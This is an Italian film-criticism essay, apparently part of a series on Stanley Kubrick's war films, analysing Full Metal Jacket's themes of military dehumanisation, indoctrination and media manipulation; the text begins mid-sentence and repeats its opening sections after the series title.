(isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
L’esperienza di Palla di Lardo incarna alla perfezione il tema dell’uomo come nemico di se stesso; già nelle prime scene del film l’ordine di Hartman alla sua recluta («strangolati da solo!», autocitando Stranamore) non era che il preludio all’omicidio-suicidio commesso dal soldato nell’ultima scena ambientata a Parris Island: «[Palla di Lardo] lobotomizzato da brutalità e umiliazioni, interiorizza la violenza dell’ambiente in cui è stato costretto a calarsi, discendendo nel cuore di tenebra della sua follia. (…) L’apprendista stregone Hartman è stato la vittima del suo Frankenstein che, come quella creatura riplasmata, rifiuta di vivere in questo mondo ultra-violento».
Qui si chiude la prima parte del film, quella dedicata alla fase di addestramento; a proposito di questa è interessante citare un articolo del 1987 comparso sui «Cahiers du Cinéma»: «I film di Kubrick descrivono il mondo come un cervello, inevitabilmente soggetto a disfunzioni (per ragioni a volte esterne, a volte interne). Full Metal Jacket illustra in modo ammirevole questa tesi. Il microcosmo del campo di addestramento di Parris Island in effetti è organizzato come un cervello composto da cellule umane che pensano e reagiscono nello stesso modo, fino a quando il suo buon funzionamento si disintegra: dall’interno nel momento in cui una cellula singola (Palla di Lardo) comincia ad eseguire inesorabilmente le direttive di istinto di morte che regolano l’organo nella sua interezza; dall’esterno con l’offensiva del Tet, rappresentazione esteriorizzata di un’identica forza».La morte di Palla di Lardo chiude il cerchio della violenza apertosi nel campo di addestramento, ma è solo il prologo alla guerra vera: terminata la rappresentazione dell’inferno interiore all’uomo (Parris Island), una breve dissolvenza ci porta nell’inferno esteriore, il Vietnam, che vede Joker come anello di congiunzione tra le due parti. Se nella prima grande sequenza la struttura dell’esercito costruisce i suoi killer, le sue macchine da guerra, mostrando la propria capacità di controllo sulle reclute (ad eccezione della “cellula impazzita” Palla di Lardo), la seconda parte del film svela la debolezza e la precarietà di questo processo di “meccanizzazione”; a contatto con la guerra saltano tutti i meccanismi di controllo e i suoi protagonisti si perdono: «La macchina militare si trova ad affrontare un territorio labirintico, complesso e smarrisce le coordinate: coordinate morali, coordinate militari (tutti i “gialli” possono essere nemici, il nemico non è più identificabile), coordinate fisiche (la pattuglia dispersa nello spazio labirintico di Hue)».
Il Vietnam di Kubrick è iconograficamente un Vietnam inedito: non ci sono le giungle che i viet-movie precedenti avevano mostrato al pubblico; il regista rifiuta di ambientare il film attorno ad uno stereotipo e sfrutta una fabbrica in disuso sulle rive del Tamigi per realizzare il “suo” Vietnam: «L’architettura degli stabilimenti dell’ex fabbrica era l’architettura funzionale degli anni Trenta, esattamente uguale a quella di quartieri industriali delle città vietnamite come Saigon o Hue. L’ambientazione si prestava idealmente al soggetto del film».
La prima scena, della parte ambientata in Vietnam, ci mostra subito Joker; di conseguenza lo spettatore mette a fuoco la sua figura come figura-chiave del film: qui ritroviamo il soldato nelle vesti di giornalista per «Stars and Stripes», nonostante la disapprovazione mostrata in precedenza a Parris Island da Hartman («Ti sei messo in testa di essere un cazzo di scrittore? (…) Non sei qui come scrittore, qui sei un killer!»). Nella redazione del giornale campeggia la scritta con il motto «First to go Last to know» (“primi ad andare, ultimi a sapere”), a sottolineare il fatto che la verità non era l’elemento primario di un giornale di guerra, che anzi doveva scrivere storie fasulle per accattivarsi il consenso dell’opinione pubblica sull’impiego dei soldati americani in Vietnam; a questo proposito è esemplare il discorso che il caporedattore di «Stars and Stripes» rivolge a Joker: «Noi pubblichiamo due tipi di storie: marines che spendono la paga per comprare ai gialli dentifrici e deodoranti, tipo “arte di sedurre i cuori”, okay? ..E storie di combattimenti con un sacco di morti, tipo “come vincere la guerra”». Lo stesso Kubrick ha spiegato come, quella del Vietnam, sia stata la prima guerra ad esser condotta negli Stati Uniti soprattutto come una campagna pubblicitaria: «La manipolazione della verità attraverso i mezzi di comunicazione di massa del governo fu uno degli obiettivi di questa campagna. Ciò ha condotto al fatto che l’opinione pubblica americana ha avuto un’immagine falsa e manipolata dell’intera guerra». Kubrick sapeva che il conflitto vietnamita era stato il primo ad essere seguito dai media televisivi, per questo non ha risparmiato nel film i riferimenti all’iconografia tracciata dagli stessi media: quando uno dei soldati, Animal Mother, domanda a Joker se avesse mai visto il fronte, questi gli risponde: «Accidenti se l’ho visto: in televisione»; o ancora il soldato Cowboy, quando in un’intervista televisiva parla della guerra: «Quando siamo a Hue, noi entriamo in città, no? E lì è proprio come una guerra, capito? Come quello che… quello che io pensavo che deve essere una guerra vera, come io pensavo, come io… come me l’ero immaginata»; di conseguenza: «La guerra è già vista, è già registrata nell’archivio mnemonico di chi vi combatte grazie a cinema e televisione». La presenza televisiva è in ogni dove, come i riferimenti dei soldati ai miti cinematografici americani, su tutti il genere western: Joker imita e cita più volte John Wayne, gli altri soldati paragonano i vietcong agli indiani, i “cattivi” per eccellenza nei western hollywoodiani del passato («Ma gli indiani chi li fa?» «Tocca ai musi gialli fare gli indiani»).
Dopo l’ennesima risposta beffarda rivolta al suo caporedattore, Joker viene spedito insieme a Rafterman (“l’uomo della zattera”, un richiamo a Fear and Desire) nella “zona calda”; è qui che incontra per la prima volta il reale orrore per la guerra, i suoi occhi si posano su una fossa comune e la sua indignazione lo porta ad una conclusione apparentemente ovvia («I morti sanno soltanto una cosa: che è meglio essere vivi»), ma che riassume appieno una delle verità che il regista vuole mostrare nella seconda parte del film: i soldati che vengono mandati a combattere in guerra, non lottano per niente se non per restare vivi, né per ideali né per fama quindi, ma solo per la sopravvivenza. Una verità che sottolinea il contesto mentale e non fisico del conflitto mostrato da Kubrick: «In guerra è meglio esser vivi che morti e tutto il resto non conta. Dirlo a parole è semplice, “spiegarlo” con un film molto difficile. Spiegarlo crudelmente e virilmente come fa Full Metal Jacket, poi, richiede un’estrema precisione di tono, perché l’orrore di Full Metal Jacket non è negli schizzi di sangue e negli arti amputati ma nella dimensione mentale del combattimento, nella meccanizzazione della barbarie: il prodotto coerente della propedeutica di Hartman». Subito dopo questa scena, troviamo un elemento fondamentale della seconda parte del film, ovvero la spiegazione che Joker fornisce ad un ufficiale, dopo che questi ha notato sull’uniforme del soldato la presenza del distintivo della pace e della scritta “Born to Kill” (“nato per uccidere”) sull’elmetto: «Io volevo soltanto fare riferimento alla dualità dell’essere umano, signore, l’ambiguità dell’uomo, una teoria junghiana, signore». È l’ennesimo sberleffo di un buffone (in inglese “joker”, per l’appunto) che cerca di contrastare gli orrori della guerra mediante l’ironia e lo scherzo, oppure si tratta del tentativo di un uomo di elevarsi e di differenziarsi da una massa di automi tutti uguali tra loro, tutti standardizzati, attraverso l’uso dell’intelletto e della cultura? Sembra che la risposta si trovi a metà strada tra le due parti: Joker da un lato si ribella al sistema (come Palla di Lardo anche lui è un personaggio diverso dalla massa, ma molto meno vulnerabile) grazie alla sua coscienza e alla sua personalità, ma dall’altro sa stare al gioco dell’istituzione militare, comportandosi da perfetto integrato (partecipa al pestaggio collettivo contro Palla di Lardo, afferma alla televisione di voler essere il primo ragazzo del suo palazzo «a fare centro dentro qualcuno»): «Joker ha un ruolo di focalizzatore omodiegetico assai marcato, ma spesso assente e in chiara distonia con quanto concretamente fatto dal personaggio. Egli alterna momenti di lucidità osservativa ad altri di complicità irriflessa».Lo stesso Kubrick spiega la presenza del distintivo della pace sull’uniforme del protagonista: «Si tratta di un simbolo che indica dualismo. Il soldato Joker dice infatti al suo superiore che gli chiede cosa voglia significare quel bottone: che gli esseri umani sono divisi fra odio e diffidenza da una parte, amicizia e disponibilità dall’altra». La dualità dell’essere umano evidenziata dal regista trova riscontro anche nei comportamenti degli altri personaggi: su tutti il soldato Animal Mother, presentato inizialmente come una sorta di Rambo dispensatore di morte (sul suo elmetto c’è scritto: “I am become death”, “sono diventato morte”), è colui che invece ha la lucidità di riconoscere che quella alla quale stanno assistendo in Vietnam è «una strage», inoltre contraddice gli ordini e si espone al fuoco del cecchino pur di andare a salvare i compagni feriti.
Kubrick, nella scena in cui l’ufficiale chiede spiegazioni a Joker, evidenzia la follia e l’ottusità delle alte sfere del sistema militare; la sua critica per questo tipo di personaggi si nota nella frase finale messa in bocca all’ufficiale in questione, che dice al soldato: «È un mondo spietato, figliolo, bisogna tener duro fino a quando non passerà questa mania della pace». Il regista sembra voler dire che quello al quale stiamo assistendo «è un universo alla rovescia, di pazzi al comando, con la voce pensante di Joker unico sguardo lucido. (…) Il Vietnam, come ogni guerra, è il regno del militarismo, l’obbligo dell’impiego universale della violenza come mezzo ai fini dello Stato»; un concetto di violenza gratuita che emerge dalle parole dei vari soldati, per esempio da quelle del capopattuglia di Cowboy, Crazy Earl: «Siamo i giganti verdi dei detersivi, solo che noi andiamo in giro a ripulire il mondo col mitra. Quelle che abbiamo fatto fuori oggi sono le persone più meravigliose del mondo: quando torneremo a casa di sicuro non troveremo più gente a cui valga la pena di sparare». La violenza è quindi l’unica realtà: «Gli uomini non possono governarla, sono loro a essere guidati dai processi conduttivi di quest’energia che hanno scatenato e che ora li sovrasta. Le battaglie non si decidono da uomini che calcolano e riflettono, ma tra soldati ormai depredati delle facoltà razionali, cieche forze che non sono che impeto. È il segreto ultimo della guerra: la riduzione della persona umana a materia inerte, dominata dall’istinto crudele della preda o del cacciatore».
Nell’ultima parte del film, la pattuglia si perde nello spazio labirintico di Hue, un corrispettivo fisico e spaziale della situazione interiore dei personaggi, che il regista ama spesso delineare nelle sue pellicole, da Fear in Desire, fino ad Eyes Wide Shut («Kubrick sembra interessato a offrire un ulteriore esempio di quella poetica della perdita di controllo sulle coordinate spaziali e temporali già operativa in gran parte della produzione filmica precedente»). In questo spazio, nel pieno dello smarrimento, un cecchino uccide prima il soldato Eightball, quindi Doc Jay, che era corso ad aiutare il compagno. Cowboy vuole far ripiegare il gruppo e abbandonare i compagni, ma Animal Mother si oppone e si lancia in avanti, riuscendo a far guadagnare terreno alla sua squadra: anche Cowboy però viene ucciso dal cecchino. Decisi nel voler vendicare i compagni, i rimanenti soldati si mettono alla ricerca del nemico; è Joker a trovarlo per primo e a scoprire che si tratta di una ragazzina armata. Il fucile del soldato si inceppa ed egli è costretto a rifugiarsi dietro ad una colonna, mentre le pallottole dell’avversaria si scagliano contro la sua postazione. Rafterman giunge sul posto e colpisce la ragazza, quindi si lascia andare ad urla di entusiasmo di fronte alla sua prima vittima: «Sono un duro, sono uno che fa fuori i nemici, sono un killer!». La ragazza però è ancora viva, agonizzante; Animal Mother intende lasciarla lì («Che marcisca qui»), mentre Joker vorrebbe aiutarla. Kubrick, dopo aver concesso a Joker la possibilità di uscire da ogni situazione precedente in modo ironico e sarcastico (conformemente al soprannome del soldato), in questa sequenza finale mette il suo protagonista faccia a faccia con l’orrore, con la possibilità di «far centro dentro qualcuno» che il soldato, sarcasticamente, aveva desiderato di avere. Joker dà il colpo di grazia alla ragazza, mosso da pietà, sicuramente, ma allo stesso tempo: «volente o nolente Joker si è trasformato in una killing machine: una piccola rotella senza volto nell’ingranaggio della morte. Hartman, probabilmente, sorride nella tomba. La tragica ironia finale di Full Metal Jacket è che la guerra ha preso in giro anche il suo giullare». Dopo questo “battesimo di morte”, Joker raggiunge gli altri soldati e si unisce alla marcia nell’oscurità; le sue ultime parole: «Sono proprio contento di essere vivo, tutto d’un pezzo, prossimo al congedo. Certo, vivo in un mondo di merda, questo sì, ma sono vivo e non ho più paura». Ora che non ha più paura, anche il soldato Joker, lo scrittore che difendeva la verità giornalistica, è divenuto una macchina per uccidere? Anche lui, l’intellettuale che citava Jung di fronte ai suoi superiori, ha raggiunto il suo punto di non ritorno, come avevano fatto in precedenza Palla di Lardo e Rafterman? In quest’ottica «Full Metal Jacket è un’opera disperata, dilaniata, che sancisce la fine di ogni residua illusione kubrickiana sulla natura dell’uomo e sulle sue possibilità di salvezza».
Tutti i marines si uniscono in un canto: intonano la Marcia di Topolino. Stavolta non si tratta del finale umanista di Orizzonti di gloria, ma di una regressione dei soldati allo stato infantile: «Quegli uomini in marcia, cui la guerra ha rivoluzionato ogni scala di valori, dei bambini condividono la crudeltà amorale, l’assenza di scrupoli etici, la aggressività necessaria, l’assenza di principi che non siano quelli naturali ed elementari, l’immunità da ogni ipocrisia; infine la noncuranza stessa della propria morte».Partono i titoli di coda, in contemporanea ai versi della splendida Paint it black (“dipingilo di nero”) dei Rolling Stones; Mick Jagger canta: «I see a red door and I want it painted black; no colors anymore I want them to turn black» (“vedo una porta rossa e voglio dipingerla di nero; non voglio più colori ma tutto dipinto di nero”), proprio quando le immagini sono finite e lo schermo è diventato nero; «It’s not easy facing up when your whole world is black» (“non è facile restare a testa alta quando il mondo intero è nero”); e ancora: «I look inside myself and see my heart is black» (“guardo dentro me stesso e vedo che il mio cuore è nero”). Il messaggio del pessimista Kubrick, anche durante i titoli di coda, è vivo, diretto, lucido, spietato e soprattutto definitivo.
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La Guerra secondo Kubrick (parte 6 di 8)
FULL METAL JACKET: LA “MECCANIZZAZIONE” DELL’UOMO
Due anni dopo la realizzazione di Shining, del 1980, l’attenzione di Stanley Kubrick ricade sul racconto The Short Timers di Gustav Hasford, in cui alcuni giovani marines vengono addestrati in un campo di addestramento per poi essere mandati in Vietnam a combattere. Affascinato dai vari risvolti della storia («Quando ho letto il libro ho trovato irresistibili l’originalità, la bellezza dello stile, la semplicità», ha detto il regista), Kubrick acquistò i diritti del libro, cominciando così a lavorare alla sceneggiatura di Full Metal Jacket, uscito nel 1987. Michael Herr, co-sceneggiatore del film, ricorda lo scambio di battute tra lui e Kubrick alla “nascita” di Full Metal Jacket; il regista disse di voler fare un film di guerra, Herr gli fece notare che aveva già fatto Orizzonti di gloria, al che Kubrick rispose: «Quello è contro la guerra. Voglio fare un film di guerra solo per considerarne il soggetto, senza una posizione morale o politica, ma come fenomeno».Il termine “full metal jacket” (letteralmente “copertura piena di piombo”), che non compare in nessuna parte del racconto, descrive il rivestimento di un tipo di proiettile e in un certo senso richiama alla metaforica corazza di metallo (come quella degli automi) nella quale venivano avvolti i marines per essere trasformati in killer.
L’intenzione del regista, attraverso questo film, è di inserire alcuni temi già affrontati nelle sue opere precedenti in un contesto bellico moderno, come quello vietnamita: «Il Vietnam è stata probabilmente l’unica guerra dominata dai falchi intellettuali che manipolavano i fatti e perfezionavano la realtà, ingannando sia loro stessi che il pubblico».
Ma il tema che più di altri Kubrick intende affrontare con Full Metal Jacket è quello della “meccanizzazione” dell’uomo, ovvero del rendere automatico un qualcosa di naturale, un tema nel quale il regista si era addentrato esplicitamente, già dal titolo, in Arancia meccanica, nel 1971.
Le vicende di Full Metal Jacket si svolgono in due segmenti ben delineati: l’addestramento a Parris Island e il Vietnam. La scena d’apertura del film mostra un gruppo di ragazzi a cui stanno radendo a zero le teste: ci troviamo nel campo d’addestramento di Parris Island; il sergente istruttore Hartman si presenta ad un gruppo di reclute, destinate a diventare marines, “macchine da guerra”. Il linguaggio dell’istruttore è offensivo e osceno; egli mostra immediatamente tutta la sua severità nei confronti di chi non si è ancora inquadrato nella disciplina imposta dalla procedura militare. In questa fase iniziale di presentazione emergono i personaggi di Joker, un giovane dall’aria intellettuale e scherzosa, di Cowboy e in particolare di Palla di Lardo, un ragazzo goffo e imbranato, sul quale Hartman riversa tutta la sua crudele offensività. Le scene che seguono mostrano il training al quale vengono sottoposte le varie reclute, dove agli esercizi fisici si alternano fasi in cui l’istruttore cerca di plagiare le menti dei futuri soldati mediante riti collettivi inneggianti alla guerra e alle armi. Joker, nonostante i continui rimproveri subiti, diventa caposquadra, mentre Palla di Lardo, messo continuamente alla berlina, viene emarginato dai suoi stessi compagni di camerata, costretti da Hartman a pagare per ogni errore del loro compagno. Una notte il ragazzo subisce un pestaggio da parte di tutti gli altri soldati, Joker compreso (anche se inizialmente esitante); nei giorni seguenti Palla di Lardo mostra segni di instabilità, la sua “trasformazione” in macchina da guerra è quasi completa, per la soddisfazione del suo istruttore. L’ultima notte a Parris Island è però tragica: Palla di Lardo è sorpreso da Joker nel bagno mentre sta caricando il suo fucile con pallottole «blindatissime» (“full metal jacket” appunto); all’arrivo di Hartman il giovane gli spara e poi si uccide.
Una dissolvenza ci porta nel Vietnam; Joker è corrispondente di guerra per il giornale dell’esercito «Stars and Stripes». Durante l’offensiva del Tet, nella quale i vietcong attaccano l’esercito statunitense, Joker viene mandato al fronte a fare un reportage con il suo amico Rafterman. Qui ritrova il compagno di corso Cowboy e si unisce alla sua squadra; il gruppo riesce a liberare una città con poca difficoltà, l’entusiasmo aumenta con l’arrivo degli inviati televisivi che intervistano i vari marines. I soldati partono per una nuova missione verso la città di Hue, ma perdono l’orientamento e si ritrovano sotto il tiro di un cecchino, che uccide due di loro e in seguito lo stesso Cowboy. I rimanenti soldati individuano la posizione del cecchino e lo sorprendono alle spalle: si tratta di una giovane ragazza, alla quale Joker prova a sparare, non riuscendo poiché gli si inceppa il fucile. Mentre sta per essere ucciso, Rafterman giunge a salvarlo, sparando al cecchino; la ragazza è agonizzante, circondata dai soldati: Joker pone fine alle sofferenze della giovane, uccidendola. Il gruppo si allontana nella notte intonando il ritornello di Mickey Mouse.
Il tema kubrickiano che vediamo immediatamente riemergere in Full Metal Jacket è quello che mostra il sistema e la struttura dell’istituzione militare: «l’esercito affiora come struttura rigida e asettica, impersonale, funzionale; (…) una struttura violenta, costruzione ossessivamente minuziosa finalizzata alla distruzione e psicologicamente distruttrice e autodistruttrice di se stessa». Il fine dell’esercito si concentra quindi nella distruzione della personalità umana, con l’obiettivo di possedere il controllo assoluto sull’individuo, attraverso la sua “meccanizzazione”. Lo stesso Hartman, presentandosi alle reclute, sottolinea questo passaggio fondamentale da essere naturale a essere meccanico: «Se voi signorine finirete questo corso e se sopravviverete all’addestramento, sarete un’arma, sarete dispensatori di morte, pregherete per combattere». Ma trasformare uomini in armi è possibile? Secondo Stanley Kubrick la risposta è affermativa: «Sì, trasformare esseri umani in armi è possibile. Come dice il sergente nel mio film: “Un’arma è solo un utensile, è il cuore duro che uccide”» (nella versione italiana del film è in realtà tradotto: «Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide»). Il duro training al quale si sottopongono i soldati è finalizzato a distruggere la paura della morte e per distruggere questa è necessario distruggere la personalità: già nella primissima scena tale distruzione è inscritta nelle immagini dei giovani dal barbiere, dove vengono tutti quanti rasati a zero, primo elemento del processo di meccanizzazione ad accomunare i ragazzi, ognuno reso una sorta di “clone” dell’altro; in questa scena vediamo il barbiere militare “operare” sulle loro teste, quasi a presagire quel lavaggio del cervello al quale verranno sottoposti in seguito. In Full Metal Jacket: «il cervello è il vero campo di battaglia, il vero Vietnam, presupposto e posta in gioco della guerra. Parris Island è il luogo (isolano – isolato – isolante) del lavaggio del cervello e delle lavate di testa, è il luogo in cui s’interviene direttamente sulla testa»; non a caso sulla locandina del film è presente un elmetto, ovvero la “testa” del soldato.
Joker, voce narrante del film, descrive in poche parole il luogo in cui si trova: «Parris Island, Carolina del Sud, campo di addestramento reclute del corpo dei marines degli Stati Uniti. Corso di otto settimane per falsi duri e pazzi furiosi». In questa bipartizione la giovane recluta mostra la sua lucidità, autoescludendosi di fatto dalla categoria dei “pazzi furiosi” e inserendosi quindi in quella dei “falsi duri”. Joker per tutto il film non è altro che questo, poiché sembra sfuggire alla disumanizzazione della sua personalità: quando alla fine è chiamato alla battaglia, fallisce, perché in lui è ancora acceso il lume dell’umanità e dell’intelligenza, perché non è un vero killer e il suo primo omicidio è causato dalla compassione e non dall’odio. Di conseguenza va osservato come ne Il dottor Stranamore e in Orizzonti di gloria la follia della guerra fosse dovuta all’orgoglio e all’ambizione dei generali, in Full Metal Jacket, invece, si basa essenzialmente sul tentativo del soldato Joker di restare sano in un ambiente folle.
Come sottolinea Magnisi: «Tutto il primo atto della pellicola sarà una lunga introduzione (un vero addestramento anche per gli spettatori) alla sottocultura dei marines, osservata con iperrealismo clinico dall’occhio di Kubrick, all’interno di un’ossessione per la geometria e la regola, l’ordine e la disciplina». L’obiettivo dell’istruttore Hartman (peraltro interpretato da un vero istruttore dei marines, Lee Ermey) è standardizzare tutte le reclute secondo canoni prestabiliti, omogeneizzare il gruppo, escludendo ogni tipo di diversità, motivo per cui il soldato Palla di Lardo risulta il più difficile da “meccanizzare”, poiché la sua diversità è evidente nelle caratteristiche fisiche (la grassezza) e motorie (la goffaggine), che lo portano inevitabilmente ad essere il bersaglio prediletto del suo istruttore, che non risparmia oltraggi e offese per cercare di motivare (quindi standardizzare) il ragazzo: «Ma tu ci sei nato sotto forma di viscido sacco di merda, Palla di Lardo, o ci hai studiato per diventarlo? (…) Perché tu sei un ciccione ributtante e fai schifo, Palla di Lardo!».
Gli esercizi fisici, nonostante la durezza, risultano essere la parte d’addestramento più innocua e meno importante, è l’indottrinamento psicologico, invece, la parte fondamentale per plagiare le giovani reclute; il linguaggio usato da Hartman è esplicito e aggressivo, e le vittime di esso non possono che subirlo passivamente. L’istruttore cerca continuamente di costruire un rapporto di intimità e complicità tra la recluta ed il fucile, sottolineando l’importanza di questo connubio (ed è immediato il richiamo alle ispezioni del generale Mireau nelle trincee di Orizzonti di gloria): «Stanotte vi porterete a letto il vostro fucile e darete al vostro fucile un nome di ragazza, perché sarà quello l’unico buco che voialtri rimedierete qui dentro. (…) Siete sposati al fucile, quel coso fatto di legno e di ferro, e rimarrete fedeli soltanto a lui!». E ancora: «La più micidiale combinazione del mondo: un marine col suo fucile. Ma è sulla volontà di uccidere che bisogna concentrarsi. (…) Il vostro fucile è solo uno strumento, è il cuore di pietra quello che uccide». Joker, in uno dei rari interventi della sua voce fuori campo, dice che: «Il corpo dei marines non vuole dei robot, il corpo dei marines vuole dei killer, il corpo dei marines mira a creare uomini indistruttibili, uomini senza paura»; per cancellare la paura della morte dai soldati, il sistema deve quindi cercare di vendere un’immortalità “a basso costo”: «Un marine può morire, siamo qui per questo, ma il corpo dei Marine vivrà per sempre e questo significa che voi vivrete per sempre», dice Hartman e tutte le marcette e i ritornelli che fa intonare ai suoi soldati non sono altro che un accumulo di elementi che rappresentano una procedura (per un istruttore militare è la prassi) che ha come fine ultimo quello di plagiare le menti delle reclute. Tra tante situazioni, è piuttosto eloquente in questo caso la preghiera che i soldati devono recitare, fucile in mano, prima di andare a dormire: «Questo è il mio fucile, ce ne sono tanti come lui, ma questo è il mio. Il mio fucile è il mio migliore amico, è la mia vita. Io devo dominarlo come domino la mia vita. Senza di me il mio fucile non è niente, senza il mio fucile io sono niente. Devo colpire il bersaglio; devo sparare meglio del mio nemico che cerca di ammazzare me. Devo sparare io prima che lui spari a me e lo farò. Al cospetto di Dio giuro su questo credo: il mio fucile e me stesso siamo i difensori della patria, siamo i dominatori dei nostri nemici, siamo i salvatori della nostra vita e così sia, finché non ci sarà più nemico, ma solo pace. Amen».
Un aspetto particolare che troviamo in Full Metal Jacket, ma che già abbiamo incontrato in Orizzonti di gloria, è il continuo tentativo della struttura militare di provare a piegare alla propria logica ogni tipo di azione ed ideologia, inglobandola nel proprio sistema: nella prima parte del film Joker dice al suo istruttore di non credere in Dio, nonostante le ripetute ed insistenti affermazioni del sergente riguardo al valore ideologico della religione cattolica; in un primo momento Hartman sembra infuriato, ma invece di punire il ragazzo lo nomina caposquadra, dicendo che: «Il soldato Joker è ignorante e senza dio, ma ha fegato e il fegato è tutto». In questo modo, come nota Eugeni, l’esercito dimostra: «la terribile capacità di ricondurre ai propri parametri ogni opposizione, non contrastandola, ma semplicemente privandola del proprio senso originario». Un comportamento simile lo aveva assunto anche Broulard in Orizzonti di gloria, ritenendo la nobile azione difensiva di Dax niente più che una tattica per ottenere una promozione. Inoltre, come abbiamo visto nelle pellicole trattate in precedenza, dove gli eserciti combattono e uccidono i loro stessi soldati, anche in Full Metal Jacket il sistema finisce per implodere, per combattere contro se stesso: gli sforzi fatti da Hartman per rendere Palla di Lardo un killer vengono “premiati” nel finale della prima macrosequenza del film, dove il soldato, divenuto una macchina impazzita (come il computer Hal in 2001), uccide il suo istruttore, divenendo di fatto il killer che il duro addestramento doveva creare: «Quando Palla di Lardo scarica su [Hartman] i suoi proiettili blindati, nessuno tira sospiri di sollievo, ma anzi si resta agghiacciati, perché è chiaro che la morte di Hartman lascia viva e intatta l’istituzione; non arriva ad espiazione di alcuna colpa, ma a conferma dell’efficacia di un insegnamento».
